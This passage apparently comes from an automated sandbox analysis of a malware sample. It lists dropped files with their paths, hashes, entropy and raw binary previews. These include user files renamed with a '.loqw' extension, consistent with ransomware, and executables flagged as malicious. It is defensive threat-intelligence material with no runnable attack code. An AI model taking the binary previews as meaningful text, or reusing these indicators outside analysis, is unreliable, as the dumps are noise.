...3[...l...BK...h......9r...;.zF......~...H.O...u...H..q\|.q...3.M...`..%.QC..oc+f..?MtX...p..../....n..vG..L.f>...uB:aQv.jHMD......uIz3.0..u.!Q...........@(.^. .$...I..:.@...1K. ..\..'...}~...'RV.Yk.G...fOZ........`..;..-Q..U..j.....^.z.........0....cY...4.*.=.Z`....NI..N..!._.... t\|..Y../.7}T.6..s=.. p

C:\Users\user\Desktop\XZXHAVGRAG\DVWHKMNFNN.jpg.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842388196475552
Encrypted:	false
SSDEEP:	24:CcWoF/Ar+JdiXTHU05sHr3JiTSenvuQK/VyGpn/5oM3G2gNq3xKDcxgZbD:CcWoeKJduTHU05dTSenNKQGpnhoM22gb
MD5:	4C7B00EFED5E3C52A4775F983405F53C
SHA1:	B3E56329133776A4C2B686584B835485B7330F23
SHA-256:	54D8CBD9222CC9A798221EB9E44E19A7F160603E12C138CD182397A16860FA10
SHA-512:	24F38840EDEA47432008555D8A7FEFCBA041CBE1E5B8D09B6086F25BE4A5B103062BC0624A96E7F51FD626B17A9889126352FC2EA0B1F9AE51C16C38B052123D
Malicious:	false
Reputation:	unknown
Preview:	DVWHK".@....].+..IH.O....?.! ...-.y.#.r..u0w....RZ..5.j.,n..<.N).S?.Y.}I{0.>>\|N2L.....B..O....P.l\|.._..m......y........?(....M.j.V..V~..?Z!....N.....o8i..R. .....:th^...?...a..%...6..L...=r.._...Q=z.d....F.....{'..y.v.f...L?...... ..TB;.Ia.N....Q.u.dz%.'.@.t?.....(.[=..q.=\|.l...P..R."/uF8v@.2W._A....F.....K....G.$JX..^....n .<._....F)..N..I...=0.cLq....9...6T.O2Y.SJh."...]{:.<f...H.....jWZR>a.Jw...R6...D.F.e.g.+g!...4...........c!/W...)........@d...^saG.........,&.c:..]^.S.P.kP%..a....=......F y\......+q.8.q.^..&M......l....i.$..P}..\oNngK_.<..x...a.C..a.\..\|.U....=Z...p..\...u....Yk.S.E.......6.^........y..q.p.c:.-.:AK../..8e4$......f.... ...3[...l...BK...h......9r...;.zF......~...H.O...u...H..q\|.q...3.M...`..%.QC..oc+f..?MtX...p..../....n..vG..L.f>...uB:aQv.jHMD......uIz3.0..u.!Q...........@(.^. .$...I..:.@...1K. ..\..'...}~...'RV.Yk.G...fOZ........`..;..-Q..U..j.....^.z.........0....cY...4.*.=.Z`....NI..N..!._.... t\|..Y../.7}T.6..s=.. p

C:\Users\user\Desktop\XZXHAVGRAG\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861357241613506
Encrypted:	false
SSDEEP:	24:KSGglsxL8lrBkk9QeQ2Hk24xYAdwAIgT2Dx9b7pZi79jC5kdqesCbD:KSx+YrF9QeQ2X2z2AIe2Dx9/cNoesQD
MD5:	38FA386A47520DDCD5650701DFD57E83
SHA1:	1CD35EFF7FD084897B9F5FC0B212B2600B083EB7
SHA-256:	BC543D5812F67B04DFBCBBDB5A65A8C8919BA780A72190666C17E46F53F531D1
SHA-512:	3912A5AEF98FC70BEF56F8AFFB4160B29525228E8CA7B20E5CB5B3367EE69264585290E3C0559A25274F6BD410BAB2B94111C0894E139809DA9E240D5D2E32ED
Malicious:	false
Reputation:	unknown
Preview:	KATAX..6..-......R.~.Bdr.. .~.a..dZ.#.T.d2....^...f...+qt)....-..r.(.OhL...?..ZfKw=i..!.kw...-.?..!...m.7.7...&,.4.p@.Pt...V._.P..6.n.....r...bo.#M.G4.u9...........u..S.!\|...@.8.(.bc.J..X'..&j.....d<dB...o.xC.........8...4G....h.A.:...M..D.G~.1.K$Q..8..nN.=.2X....SI...l..<(..........O.m.....w..U{!1.@c....'.>y...BL....... ..{K.A..>.\>..n<..t.K.j...M..Mz.]....'.CyBq...#D...9....e..."..h..>...w..NJ wl.."#.'....e.........A..A.4.?v...r....R....D.m..."..B...r.R...9....\L`.;..[.....7.O..1q.}.f......./.}..FV;.K..r..+M.M.{...C.....U:....n....5..{......2.>.....>.sN..d..$..~m..b...$..r..W.)...........=....v.z?0L.....iPJ..H....d@..=/...y..GD..;m.....C.../....g@..n..T.5..!.%RTsk..N....ue5....N...%.U...e.dF3...U.....C......&...jNUF.:N#........k..}.7&..=3...p..=..MJS.z{2.Q8...T..."..,...k.l~-f...Gn.MT)n...K.L\74.Pl2..3..uy.q. .Xx.F.$....7...Dr.a\|Nx...L...-.....G.8..(m..b..D'.Yb.\|.....1D..O.Cyuw..R..dB.Y%./.H=.^.....j....t....3a..Ji._.A.T.N.1F...

C:\Users\user\Desktop\XZXHAVGRAG\KATAXZVCPS.pdf.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861357241613506
Encrypted:	false
SSDEEP:	24:KSGglsxL8lrBkk9QeQ2Hk24xYAdwAIgT2Dx9b7pZi79jC5kdqesCbD:KSx+YrF9QeQ2X2z2AIe2Dx9/cNoesQD
MD5:	38FA386A47520DDCD5650701DFD57E83
SHA1:	1CD35EFF7FD084897B9F5FC0B212B2600B083EB7
SHA-256:	BC543D5812F67B04DFBCBBDB5A65A8C8919BA780A72190666C17E46F53F531D1
SHA-512:	3912A5AEF98FC70BEF56F8AFFB4160B29525228E8CA7B20E5CB5B3367EE69264585290E3C0559A25274F6BD410BAB2B94111C0894E139809DA9E240D5D2E32ED
Malicious:	false
Reputation:	unknown
Preview:	KATAX..6..-......R.~.Bdr.. .~.a..dZ.#.T.d2....^...f...+qt)....-..r.(.OhL...?..ZfKw=i..!.kw...-.?..!...m.7.7...&,.4.p@.Pt...V._.P..6.n.....r...bo.#M.G4.u9...........u..S.!\|...@.8.(.bc.J..X'..&j.....d<dB...o.xC.........8...4G....h.A.:...M..D.G~.1.K$Q..8..nN.=.2X....SI...l..<(..........O.m.....w..U{!1.@c....'.>y...BL....... ..{K.A..>.\>..n<..t.K.j...M..Mz.]....'.CyBq...#D...9....e..."..h..>...w..NJ wl.."#.'....e.........A..A.4.?v...r....R....D.m..."..B...r.R...9....\L`.;..[.....7.O..1q.}.f......./.}..FV;.K..r..+M.M.{...C.....U:....n....5..{......2.>.....>.sN..d..$..~m..b...$..r..W.)...........=....v.z?0L.....iPJ..H....d@..=/...y..GD..;m.....C.../....g@..n..T.5..!.%RTsk..N....ue5....N...%.U...e.dF3...U.....C......&...jNUF.:N#........k..}.7&..=3...p..=..MJS.z{2.Q8...T..."..,...k.l~-f...Gn.MT)n...K.L\74.Pl2..3..uy.q. .Xx.F.$....7...Dr.a\|Nx...L...-.....G.8..(m..b..D'.Yb.\|.....1D..O.Cyuw..R..dB.Y%./.H=.^.....j....t....3a..Ji._.A.T.N.1F...

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848931497629925
Encrypted:	false
SSDEEP:	24:Z3TO8hXgnuIJDCLFleWeFpPBPiNFVLF81t0JN2QF7/9UnClCfMIMtzcf9gmcbD:ZjO8YuIAjQYl6t0z2QFxqoCUIoD
MD5:	470108F2568263D38D6BAACEB39960E0
SHA1:	D713DFE9D81CB2C02AB80BC56877B66152610A88
SHA-256:	5F7350ACF7B45377416E8DEFD1EF2C674AE35B4463929F9AFD89D024F6C992EB
SHA-512:	2D6229C0B991A525157370783D5183FADCC0077F3E11A6C97854FBA85DDF8FBE89490E91610A71563EB4AEB9406E3FA01D9577D270061ECDA2D87DB738D18437
Malicious:	false
Reputation:	unknown
Preview:	NWTVC..B..O#.c$.i.L..t.q..)...u...SdM.D.S.Y...m...c ...u.?./....e.>...h..op..,.8<...>,.D..A.........K-..i..y.0..3.@...y...k.a...Ek..7...l.7..I...)[.rJe...8...B.H.Y...Wl..vv.Q.K&..%....].lU.J....;XL....K(.J..0.....-..I..`..C.%.@Y....Z._........yW...k.....!.Z...w.%\.=YL....I.L....{t.gr.}...J.ertb,./....#.1..X...M^.........]....I(/S...3.....`N.../.\.7`..9..L...Z..>y.....P<T..h.)J..'..u2._.f.`.r.@..-6e+.R=..r.q&$.pY..Nu.....b.v.L.csS.lN..,.wn.sq....$.7l......`...6...d..D.-h>...'...\|.n_.6.."S./....<..%.M.F.?.'..az.X7....>.N..............tC.Dj.1.~..o..7.j..A........Rd..F..9...6nh...J..F..A.G....B...N...'.....i.kp.7..\|..T...aq4$Y..b(.T[Zc.r,....+.Lt.._.V..v..t..o.0..LHtA.....u..i!...i..A0.(.`..Z....!<.{..Hc.$%.Oq0r]....,\|.b.E..A`.()....D]`5dZw..>....{Uz.X.....Z.XvAy..~.D.v>Z.-j7[.Y.....V.....1..dc.....g.....]...,.9.<e...l...8.................]..0'9...at..3.Y.P.2\..Cnc...G...bOr.i\.!Q..1..8...{..v..G.Q.../.F.l....<.\..V....^..f.c..`..jf...{.Ew.

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848931497629925
Encrypted:	false
SSDEEP:	24:Z3TO8hXgnuIJDCLFleWeFpPBPiNFVLF81t0JN2QF7/9UnClCfMIMtzcf9gmcbD:ZjO8YuIAjQYl6t0z2QFxqoCUIoD
MD5:	470108F2568263D38D6BAACEB39960E0
SHA1:	D713DFE9D81CB2C02AB80BC56877B66152610A88
SHA-256:	5F7350ACF7B45377416E8DEFD1EF2C674AE35B4463929F9AFD89D024F6C992EB
SHA-512:	2D6229C0B991A525157370783D5183FADCC0077F3E11A6C97854FBA85DDF8FBE89490E91610A71563EB4AEB9406E3FA01D9577D270061ECDA2D87DB738D18437
Malicious:	false
Reputation:	unknown
Preview:	NWTVC..B..O#.c$.i.L..t.q..)...u...SdM.D.S.Y...m...c ...u.?./....e.>...h..op..,.8<...>,.D..A.........K-..i..y.0..3.@...y...k.a...Ek..7...l.7..I...)[.rJe...8...B.H.Y...Wl..vv.Q.K&..%....].lU.J....;XL....K(.J..0.....-..I..`..C.%.@Y....Z._........yW...k.....!.Z...w.%\.=YL....I.L....{t.gr.}...J.ertb,./....#.1..X...M^.........]....I(/S...3.....`N.../.\.7`..9..L...Z..>y.....P<T..h.)J..'..u2._.f.`.r.@..-6e+.R=..r.q&$.pY..Nu.....b.v.L.csS.lN..,.wn.sq....$.7l......`...6...d..D.-h>...'...\|.n_.6.."S./....<..%.M.F.?.'..az.X7....>.N..............tC.Dj.1.~..o..7.j..A........Rd..F..9...6nh...J..F..A.G....B...N...'.....i.kp.7..\|..T...aq4$Y..b(.T[Zc.r,....+.Lt.._.V..v..t..o.0..LHtA.....u..i!...i..A0.(.`..Z....!<.{..Hc.$%.Oq0r]....,\|.b.E..A`.()....D]`5dZw..>....{Uz.X.....Z.XvAy..~.D.v>Z.-j7[.Y.....V.....1..dc.....g.....]...,.9.<e...l...8.................]..0'9...at..3.Y.P.2\..Cnc...G...bOr.i\.!Q..1..8...{..v..G.Q.../.F.l....<.\..V....^..f.c..`..jf...{.Ew.

C:\Users\user\Desktop\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854794219162892
Encrypted:	false
SSDEEP:	24:EyA/sfEMqWw88OHueDgufjDDoLmM/Sp4wE0p2x/+x6h3iHbXsQkaEh+T+PbD:EyA/sfK1EusgufjDcLQKh8shiHga4TD
MD5:	95D86AA7BB3E8C936B8AAD555AF1A3F5
SHA1:	F5C50CF27D5C2F637E370874371DB36B7C6B1542
SHA-256:	BFB0BD1BAA2131C73263C632D8C859B973CF1A15D84B7BF0DEFD9CA6E71CA2C1
SHA-512:	51EB4D57C70175142C82A377FB6EA8070A4ED80BE1D68F331F6E68AB67F31D7BDD55D1130BBC07DEDC7AB831FA7C5629607D7070537BC21F5FA5DB8E5952D155
Malicious:	false
Reputation:	unknown
Preview:	VLZDG$.%....6S...[.D.......5e.w....C..e.}.`I.'..65....$.B.~.(.....Ihpb.@K....I.U...[j.u........\|.x7.."`^0...)\|o.XV.....5....P..[..8....<.!.pg.[..x.....Y..vY.. .Y$..&..@..Sm......_..I...KYXN....)H.....+.C.d......X`.....!. ....Q.r...y..e...b.].6....<..'z..yUO..k....l..h&F....B.Q.......T#'pos...j.&f...Po....{........>.Q.....B~........!...U...^.D..Y;..".....\.L...[...tAE...gm.......<./.#.B:aZC.?TI....v.4s..mi....T.M..$...agS.m.hk.,../..:..\-.....i..>.R..7..rx.b...R.^.U...{.E.+...u.-~..-b.....`.B=p811.4./..X.A..5.....P.d.C.{<.!..`J.....}.. .w.5;V..'.zD>...+=Q...T..;.[...t.....5..@L.o......{0.)....r..[.7}.:....._.Z.....]...{.g.cGk....@...n\|..S..9..M.Y.W.m.....lb,..ZCB...;e...q.P8..'.....?..Lt.....,!...L}K....v6N...S1........y.<........^.\R ..^.`..l"....,^...i>)ST^c8.. U..}.7-....TU..^+. TO&/S......(....L.g......ppJp........c..p...5..-b1.../9...9...mE.....z...cT...1..3..I-y..R.R..?O.7.v.....^R........xz%..y.PpZ..T:..a...7......_...

C:\Users\user\Desktop\XZXHAVGRAG\VLZDGUKUTZ.xlsx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854794219162892
Encrypted:	false
SSDEEP:	24:EyA/sfEMqWw88OHueDgufjDDoLmM/Sp4wE0p2x/+x6h3iHbXsQkaEh+T+PbD:EyA/sfK1EusgufjDcLQKh8shiHga4TD
MD5:	95D86AA7BB3E8C936B8AAD555AF1A3F5
SHA1:	F5C50CF27D5C2F637E370874371DB36B7C6B1542
SHA-256:	BFB0BD1BAA2131C73263C632D8C859B973CF1A15D84B7BF0DEFD9CA6E71CA2C1
SHA-512:	51EB4D57C70175142C82A377FB6EA8070A4ED80BE1D68F331F6E68AB67F31D7BDD55D1130BBC07DEDC7AB831FA7C5629607D7070537BC21F5FA5DB8E5952D155
Malicious:	false
Reputation:	unknown
Preview:	VLZDG$.%....6S...[.D.......5e.w....C..e.}.`I.'..65....$.B.~.(.....Ihpb.@K....I.U...[j.u........\|.x7.."`^0...)\|o.XV.....5....P..[..8....<.!.pg.[..x.....Y..vY.. .Y$..&..@..Sm......_..I...KYXN....)H.....+.C.d......X`.....!. ....Q.r...y..e...b.].6....<..'z..yUO..k....l..h&F....B.Q.......T#'pos...j.&f...Po....{........>.Q.....B~........!...U...^.D..Y;..".....\.L...[...tAE...gm.......<./.#.B:aZC.?TI....v.4s..mi....T.M..$...agS.m.hk.,../..:..\-.....i..>.R..7..rx.b...R.^.U...{.E.+...u.-~..-b.....`.B=p811.4./..X.A..5.....P.d.C.{<.!..`J.....}.. .w.5;V..'.zD>...+=Q...T..;.[...t.....5..@L.o......{0.)....r..[.7}.:....._.Z.....]...{.g.cGk....@...n\|..S..9..M.Y.W.m.....lb,..ZCB...;e...q.P8..'.....?..Lt.....,!...L}K....v6N...S1........y.<........^.\R ..^.`..l"....,^...i>)ST^c8.. U..}.7-....TU..^+. TO&/S......(....L.g......ppJp........c..p...5..-b1.../9...9...mE.....z...cT...1..3..I-y..R.R..?O.7.v.....^R........xz%..y.PpZ..T:..a...7......_...

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85605177814461
Encrypted:	false
SSDEEP:	24:fHhocauUkQp/RJyYS1kS0/ydv8nlKD694wvr+0Xu8/K9cHOCWMJDFmLDbD:fB/auOlRMYwo/Av8hr+0XA+HS8mDD
MD5:	928702C38631EE0132D660AF8172BD40
SHA1:	008412C61E36A90586F3E063782C0191090ECB71
SHA-256:	9D23C1062ADBC1A687615D29C403DADDD2B332A496674C92327A267C53AA4E9E
SHA-512:	8729E66EFFD5CF8B828CCF63DE6BD79EF44682545F5CA47E226EFC29D26A75D02B23DA61F397404086DA9F3CD91AF00EE7BE32B2B98582C3DF4BF076084E1386
Malicious:	false
Reputation:	unknown
Preview:	XZXHAp9....R//a...`.R.\.7....zu6g..].%..8N05n.6.9t^..?z..k./..w...K..&g...(.q....P...<...?..dgA.X...l.._...h........C..hC.o.t\|?3`ur....l.....p.F...x.>..tT.P.3....<\..$\|..C<..l..<..t.r.Z8.@p6~I.Ns....t...I-..p.A.ZK}...._uR.E....3....D...$.8.6.m"h..#.T..m....-.W.(..=.$_.......3?.d<...O..-{.............A...u.J.e,.M.DY.YT.l/..."Gt)..w..(5..r$AY.5Br..Ec...._S..^..1ys...{.+.NP..w...vw%s..ny..q.I......+...IWX/.....n..;x.D...a.......k.a.r.f..e.W.^$g....{....,....az-\|.?...7\.D.b .?_..'.........<..@Q..Gx..jt3....'.g.....f{..K-.j .@..oR&..(b#~..}Cv,%..&x^M.....e.v.hf.-G..5.G...Id;.Q....I.dq....B.t...#s....W.Mc..q..^..$.X...L....Ej....u.oL.w .Y.....N".O....E.9....Tq`t..(........].d..[..=...3....T.@.b\|p.d....L.J.\.a.h.`.9.."rt...//.S..xI......?O.^dq/).tf..\|....'.~A..-_m..-.....??@rz.n.)>L .:.....0.y.........X.........J..a..=..b.7.<q.T...k..d...W.MC....G3d..2.....fa..:fL.}.J....l1.i.2..F./....e!C\N-..]F..k~.c.O~.=AjPb "yL.......s..q..+....=..~1.N.....0m....M

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85605177814461
Encrypted:	false
SSDEEP:	24:fHhocauUkQp/RJyYS1kS0/ydv8nlKD694wvr+0Xu8/K9cHOCWMJDFmLDbD:fB/auOlRMYwo/Av8hr+0XA+HS8mDD
MD5:	928702C38631EE0132D660AF8172BD40
SHA1:	008412C61E36A90586F3E063782C0191090ECB71
SHA-256:	9D23C1062ADBC1A687615D29C403DADDD2B332A496674C92327A267C53AA4E9E
SHA-512:	8729E66EFFD5CF8B828CCF63DE6BD79EF44682545F5CA47E226EFC29D26A75D02B23DA61F397404086DA9F3CD91AF00EE7BE32B2B98582C3DF4BF076084E1386
Malicious:	false
Reputation:	unknown
Preview:	XZXHAp9....R//a...`.R.\.7....zu6g..].%..8N05n.6.9t^..?z..k./..w...K..&g...(.q....P...<...?..dgA.X...l.._...h........C..hC.o.t\|?3`ur....l.....p.F...x.>..tT.P.3....<\..$\|..C<..l..<..t.r.Z8.@p6~I.Ns....t...I-..p.A.ZK}...._uR.E....3....D...$.8.6.m"h..#.T..m....-.W.(..=.$_.......3?.d<...O..-{.............A...u.J.e,.M.DY.YT.l/..."Gt)..w..(5..r$AY.5Br..Ec...._S..^..1ys...{.+.NP..w...vw%s..ny..q.I......+...IWX/.....n..;x.D...a.......k.a.r.f..e.W.^$g....{....,....az-\|.?...7\.D.b .?_..'.........<..@Q..Gx..jt3....'.g.....f{..K-.j .@..oR&..(b#~..}Cv,%..&x^M.....e.v.hf.-G..5.G...Id;.Q....I.dq....B.t...#s....W.Mc..q..^..$.X...L....Ej....u.oL.w .Y.....N".O....E.9....Tq`t..(........].d..[..=...3....T.@.b\|p.d....L.J.\.a.h.`.9.."rt...//.S..xI......?O.^dq/).tf..\|....'.~A..-_m..-.....??@rz.n.)>L .:.....0.y.........X.........J..a..=..b.7.<q.T...k..d...W.MC....G3d..2.....fa..:fL.}.J....l1.i.2..F./....e!C\N-..]F..k~.c.O~.=AjPb "yL.......s..q..+....=..~1.N.....0m....M

C:\Users\user\Desktop\XZXHAVGRAG\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845325664065317
Encrypted:	false
SSDEEP:	24:FUZzzwgsbNpMlodX/SRrXPQox7sY7w7tkym9UqzvobXydaWILl9TmsKbE7bD:6ZvwgsbNpiodPSRLT7/kZ5m9UKo5T3T7
MD5:	4DB0274815BD26CEBF3384DB00D36FAB
SHA1:	9826A028F3FB15CC94319008C1CDE966AC6EFB09
SHA-256:	10DC52A1EA4F64FA4B34470E0E7DB5E4D3D907A20647B70F567FC0854E53694E
SHA-512:	72C032A2B54DA40FD7E0CC21764BF96E3CDEA573C7FD6E56F37C345FCC70BC14D8BD9A561E3D3BDE55A5108DB20D845839A40490CB0AE919205F2D6346A25915
Malicious:	false
Reputation:	unknown
Preview:	YPSIA......15.....K5.3..b...N2}.).%...i!.).;=/.A.cz..:M..^.&...N...5.i....l8Z.0.....<#.d.....TK'....M.......Q....d.k.@....8..U....q.......>N.m+S)gv.cS.... `.,....c..:-......dM..%.{a.......T2j........JK.:.Q...M2f...B][95........I.f_'..g.Z.._....@.B....F....m..n...B.d:.N~.AB...........X.b..i[.8.[.dA.g...{T./.....`l..C=..;.....~@/.....L.. ......VgdA....K4..\|..m..u.,)<8RPB.:;}4..A...&..^s.1gw.<.Z.../.T.........U{.2g.i.....+.r%..v...@.A.........t.E...H.....P...v.b>M.V.+...p... a.o......'.>~..i...+?..J....v....$&...6JJ...:=.........UN.l..V..GxW.X.g~.......J....5.y...[.....Z.a...;.YB....&.....e.lVP.;.k.Qk...C.......^}9#../.......9G8...R..%....d8..=..+l0^..D...sq.g..........w .>.......r..).G..64.}....M..M+.7+.kj....%.S...Y1..c<..x.pK;.s_x....4pL..z.$..^..4..5.."..3.....o..)..p...h>.....D....^...O........{R..(9....u.....FOU........tu...B....Q!D;]..I..S....&..g...........V..5.D.9..q.l.V.......]-.z....G$...G.J.i......7..oj....R.S.................>...w5D

C:\Users\user\Desktop\XZXHAVGRAG\YPSIACHYXW.mp3.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845325664065317
Encrypted:	false
SSDEEP:	24:FUZzzwgsbNpMlodX/SRrXPQox7sY7w7tkym9UqzvobXydaWILl9TmsKbE7bD:6ZvwgsbNpiodPSRLT7/kZ5m9UKo5T3T7
MD5:	4DB0274815BD26CEBF3384DB00D36FAB
SHA1:	9826A028F3FB15CC94319008C1CDE966AC6EFB09
SHA-256:	10DC52A1EA4F64FA4B34470E0E7DB5E4D3D907A20647B70F567FC0854E53694E
SHA-512:	72C032A2B54DA40FD7E0CC21764BF96E3CDEA573C7FD6E56F37C345FCC70BC14D8BD9A561E3D3BDE55A5108DB20D845839A40490CB0AE919205F2D6346A25915
Malicious:	false
Reputation:	unknown
Preview:	YPSIA......15.....K5.3..b...N2}.).%...i!.).;=/.A.cz..:M..^.&...N...5.i....l8Z.0.....<#.d.....TK'....M.......Q....d.k.@....8..U....q.......>N.m+S)gv.cS.... `.,....c..:-......dM..%.{a.......T2j........JK.:.Q...M2f...B][95........I.f_'..g.Z.._....@.B....F....m..n...B.d:.N~.AB...........X.b..i[.8.[.dA.g...{T./.....`l..C=..;.....~@/.....L.. ......VgdA....K4..\|..m..u.,)<8RPB.:;}4..A...&..^s.1gw.<.Z.../.T.........U{.2g.i.....+.r%..v...@.A.........t.E...H.....P...v.b>M.V.+...p... a.o......'.>~..i...+?..J....v....$&...6JJ...:=.........UN.l..V..GxW.X.g~.......J....5.y...[.....Z.a...;.YB....&.....e.lVP.;.k.Qk...C.......^}9#../.......9G8...R..%....d8..=..+l0^..D...sq.g..........w .>.......r..).G..64.}....M..M+.7+.kj....%.S...Y1..c<..x.pK;.s_x....4pL..z.$..^..4..5.."..3.....o..)..p...h>.....D....^...O........{R..(9....u.....FOU........tu...B....Q!D;]..I..S....&..g...........V..5.D.9..q.l.V.......]-.z....G$...G.J.i......7..oj....R.S.................>...w5D

C:\Users\user\Desktop\a\Creal.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13815856
Entropy (8bit):	7.996175022835632
Encrypted:	true
SSDEEP:	393216:iiIE7YoSD2nwW+eGQRIMTozGxu8C0ibfz6e57Z1bmXdWCUI:L7rSDawW+e5R5oztZ026e5DkVUI
MD5:	125A5C30FD99F5F53B2914E9F6CF1627
SHA1:	C26195A24760F7C6621C63BF79B8D1F36E3EC04B
SHA-256:	15548DC4AAB59A1ECC65D7CBE37B2A6224E8BE7682621E8F6B9ED851AB6F4E97
SHA-512:	A40F99DBF33AFBB7A9A6F8425DA9F3FDC564FCD3A8A0E8F76A830A5C6DA558158EF51FB907C24897ABA82C1499156AEAC636CA0EEB4F527BF5EC8FB43B39905A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?.........................PE..d....3ye.........."....%.....^.................@.............................p............`.....................................................x....`....... ..."...........`..\...0..................................@............... ............................text............................... ..`.rdata...+.......,..................@..@.data...83..........................@....pdata..."... ...$..................@..@_RDATA..\....P......................@..@.rsrc........`......................@..@.reloc..\....`......................@..B................................................................................................................................................................................................

C:\Users\user\Desktop\a\Voiceaibeta-5.13.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15896780
Entropy (8bit):	7.992110844985369
Encrypted:	true
SSDEEP:	393216:zjId074k3meXcGfd0aw2L2tbfRukW8eb08aF:fIdZat5FO2LODbW8egF
MD5:	CE3CCE902AECF173E8899DA746B45DC3
SHA1:	4BBDE2494A5D3FECA6ED43A36B3BACF3866E73BB
SHA-256:	2702FEA5F786ABC3D72D4DFA65B26A81632A4CF82D5EE36BC5497D98180EA20C
SHA-512:	F6E3E44BAF0BBAFC49CB2327F338DD477498331787C633759E633A130788EBC4FD70181D9082ACDBEFFB03E50EB0B847BB51B6BBD4C7F83EA228FE503BE67443
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W.../...W.../...W.../...W...+l..W...+...W...+...W...+...W.../...W...W..)W..e+...W..e+...W..Rich.W..................PE..d....+.e.........."....".......................@....................................N.....`.....................................................x.... ..+B....... ...(...g...p..X...................................@...@............................................text............................... ..`.rdata...+.......,..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc...+B... ...D..................@..@.reloc..X....p......................@..B........................................................................................................................................................................................................

C:\Users\user\Desktop\a\alex.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	951630
Entropy (8bit):	7.723981762168005
Encrypted:	false
SSDEEP:	24576:DWyWZgnMyY5CG8P2HmdA9sbOIbnCwL3Uff8JWVGly83GkFb6LaX:TO1vM32HmdTOIe03gEgJ83GIp
MD5:	F6C8E898E3A967CEEFE195A7AF6180F6
SHA1:	8AC8BDE388C954AC623AD9D131654669774CDF89
SHA-256:	199F6CC43680D1C65D900730FD2201FF1C10C912237497EFC5245EDCECC1B383
SHA-512:	4455A216C8CC774A3B6003B23CA062B71BF3706871D3A51E7067C26EA3378D350817C4355D85459D4C0B81B4E68FAA9678E741244953A841A651AB28DCBDE178
Malicious:	true
Reputation:	unknown
Preview:	MZ....o....O......j{...g..i...)eS...V./'..'q62'...SH....v....vog9......M.v...==F..<N...J_..JuhcD\|. ..y.\~.F..J...n#J.e..'.5[...1.S.C......i...m..._.V.$ .O......8....l#6..$S.O....<....qx'.:/...\...c,I....(......".<]y.r.....s..".!4.F.o.D..1m._-..F1...$..YgL7.Whz..T.}ui..V.............,^.....zYI.9....kj3.i...>..uZ..U.....Pt....=.Ep...Y......q.....o.....+c#Z.co.Oc.?'.....F...v.@.z#..8...U..9..oB...GV..Lh.;......=.cw....Q.#.%.AV...nS..O.F./g.@..\8....W...K.,..Q..(4.6....?..........`.R.......d.xv.....Lm...".".qPs.........8..1pi...w...;V...lf(!....3.px.7.&.W#...b(g.....MC..y._gO..S.r.....h`PE......: O[$K.+..8...(Z.3.c...:...L!.R.w..!.\|r!...U....)..0..Ic.):.MB..nCmo....v......0..1.?0...8./W.c.......9..rLm..El.F.7a.`.{.`.,e..\|\&.9..}6e.n.._..OE........Q..ZM.k.[..Q".#....7Xi....Y.....i.'..1...1.........O.J.....B.......r)..]&..}].V.6............Y.x..gQ'..........q.?....M..=...b,..I.jxg:..w..{.,...7p ....6ie...q(h.s.L\.......UI......L.v...s

C:\Users\user\Desktop\a\alex.exe.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	951630
Entropy (8bit):	7.723981762168005
Encrypted:	false
